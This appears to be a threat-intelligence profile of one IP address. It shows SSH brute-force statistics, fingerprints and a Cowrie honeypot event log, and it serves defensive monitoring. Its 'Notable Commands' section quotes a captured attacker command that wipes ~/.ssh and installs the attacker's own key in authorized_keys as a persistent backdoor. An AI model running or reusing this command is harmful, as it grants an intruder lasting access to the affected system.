IntrusionLabs / threat intelligence

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191.37.72.46

            191-37-72-46.cntfiber.net.br
        

Threat Confidence

45%

Location

🇧🇷 BR / Nova Lima

ASN

AS263356 · CNT Fiber

Cloud Provider

—

Total Events

181

Above average by volume

Agent Count

1

First / Last Seen

2026-03-08 10:51 — 2026-03-17 03:17

Attack Types

ssh:bruteforce

External Corroboration

Blocklist.de

Reported 2026-03-27 17:55

blocklist_de:reported

Campaigns

Not associated with any campaigns

Session Forensics

malware_dropper ×2 credential_harvester ×29 opportunistic_bruter ×2

Sessions

33 (4 with login)

Avg Depth Score

0.4

Commands Executed

6

Files Downloaded

2

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

03a80b21afa810682a776a7d42e5e6fb

SSH Client

SSH-2.0-libssh_0.11.1

Recent Events (last 50)

Timestamp	Port	Proto	Event	Location
2026-03-17 03:17:53	:22	ssh	cowrie.session.closed	sea
2026-03-17 03:17:51	:22	ssh	cowrie.login.failed	sea
2026-03-17 03:17:51	:22	ssh	cowrie.client.kex	sea
2026-03-17 03:17:50	:22	ssh	cowrie.client.version	sea
2026-03-17 03:17:50	:22	ssh	cowrie.session.connect	sea
2026-03-17 03:16:53	:22	ssh	cowrie.session.closed	sea
2026-03-17 03:16:52	:22	ssh	cowrie.login.failed	sea
2026-03-17 03:16:51	:22	ssh	cowrie.client.kex	sea
2026-03-17 03:16:51	:22	ssh	cowrie.client.version	sea
2026-03-17 03:16:51	:22	ssh	cowrie.session.connect	sea
2026-03-17 03:15:51	:22	ssh	cowrie.session.closed	sea
2026-03-17 03:15:50	:22	ssh	cowrie.login.failed	sea
2026-03-17 03:15:49	:22	ssh	cowrie.client.kex	sea
2026-03-17 03:15:49	:22	ssh	cowrie.client.version	sea
2026-03-17 03:15:49	:22	ssh	cowrie.session.connect	sea
2026-03-17 03:14:49	:22	ssh	cowrie.session.closed	sea
2026-03-17 03:14:48	:22	ssh	cowrie.login.failed	sea
2026-03-17 03:14:47	:22	ssh	cowrie.client.kex	sea
2026-03-17 03:14:47	:22	ssh	cowrie.client.version	sea
2026-03-17 03:14:47	:22	ssh	cowrie.session.connect	sea
2026-03-17 03:13:46	:22	ssh	cowrie.session.closed	sea
2026-03-17 03:13:45	:22	ssh	cowrie.login.failed	sea
2026-03-17 03:13:44	:22	ssh	cowrie.client.kex	sea
2026-03-17 03:13:44	:22	ssh	cowrie.client.version	sea
2026-03-17 03:13:44	:22	ssh	cowrie.session.connect	sea
2026-03-17 03:12:41	:22	ssh	cowrie.session.closed	sea
2026-03-17 03:12:39	:22	ssh	cowrie.login.failed	sea
2026-03-17 03:12:39	:22	ssh	cowrie.client.kex	sea
2026-03-17 03:12:38	:22	ssh	cowrie.client.version	sea
2026-03-17 03:12:38	:22	ssh	cowrie.session.connect	sea
2026-03-17 03:11:44	:22	ssh	cowrie.session.closed	sea
2026-03-17 03:11:44	:22	ssh	cowrie.session.closed	sea
2026-03-17 03:11:43	:22	ssh	cowrie.login.success	sea
2026-03-17 03:11:43	:22	ssh	cowrie.client.kex	sea
2026-03-17 03:11:42	:22	ssh	cowrie.client.version	sea
2026-03-17 03:11:42	:22	ssh	cowrie.session.connect	sea
2026-03-17 03:11:42	:22	ssh	cowrie.session.closed	sea
2026-03-17 03:11:41	:22	ssh	cowrie.login.failed	sea
2026-03-17 03:11:40	:22	ssh	cowrie.client.kex	sea
2026-03-17 03:11:40	:22	ssh	cowrie.client.version	sea
2026-03-17 03:11:40	:22	ssh	cowrie.session.connect	sea
2026-03-17 03:11:40	:22	ssh	cowrie.log.closed	sea
2026-03-17 03:11:40	:22	ssh	cowrie.session.file_download	sea
2026-03-17 03:11:40	:22	ssh	cowrie.command.input	sea
2026-03-17 03:11:40	:22	ssh	cowrie.session.params	sea
2026-03-17 03:11:39	:22	ssh	cowrie.log.closed	sea
2026-03-17 03:11:39	:22	ssh	cowrie.command.failed	sea
2026-03-17 03:11:39	:22	ssh	cowrie.command.input	sea
2026-03-17 03:11:39	:22	ssh	cowrie.session.params	sea
2026-03-17 03:11:39	:22	ssh	cowrie.login.success	sea